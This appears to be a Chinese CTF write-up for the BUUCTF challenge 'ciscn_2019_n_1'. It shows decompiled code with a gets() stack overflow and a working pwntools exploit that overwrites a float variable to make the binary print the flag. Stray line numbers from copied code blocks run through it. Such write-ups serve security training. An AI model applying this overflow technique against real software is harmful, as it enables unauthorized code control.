ciscn 2019 n 1
# ciscn 2019 n 1
# 前提
# 查看文件保护
root@localhost ~# checksec ciscn_2019_n_1
[*] '/root/ciscn_2019_n_1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
1
2
3
4
5
6
7
2
3
4
5
6
7
# 静态分析
主函数未发现漏洞点,漏洞在函数func如图
int func()
{
int result; // eax
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]
v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
result = system("cat /flag");
else
result = puts("Its value should be 11.28125");
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
2
3
4
5
6
7
8
9
10
11
12
13
14
15
发现溢出函数gets
,另外若v2==11.28125
成立,则直接可获得flag
# 思路分析
- 分析:
v1
处可溢出v1
与v2
同时是栈上变量v2=0
- 当
v2=11.28125
时可直接获得flag
- 思路:
- 从
v1
直接溢出到v2
处将v2
修改为11.28125
即可获得flag
- 从
# 确定偏移量
- 通过
ida
及简单的调试可知从v1
到v2
的偏移量为0x30-4
# 问题
pwntools
中的flat
无法打包float
类型变量:
- 需要进行手动转换处理
import struct
v1 = 11.28125
v1 = int(hex(struct.unpack('<I', struct.pack('<f', v1))[0]), 16) # 4字节浮点数转16进制
1
2
3
2
3
# exp
from pwn import *
import struct
context(os='linux', arch='amd64', log_level='debug')
pwnfile = '/root/pwn/buuctf/ciscn_2019_n_1/ciscn_2019_n_1'
# io = process(pwnfile)
io = remote('node4.buuoj.cn', 27944)
padding = 0x30-4
v1 = 11.28125
v1 = int(hex(struct.unpack('<I', struct.pack('<f', v1))[0]), 16) # 4字节浮点数转16进制
payload = flat(['a'*padding, v1])
io.recv()
io.sendline(payload)
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
2
3
4
5
6
7
8
9
10
11
12
13
上次更新: 2022/08/15, 00:29:49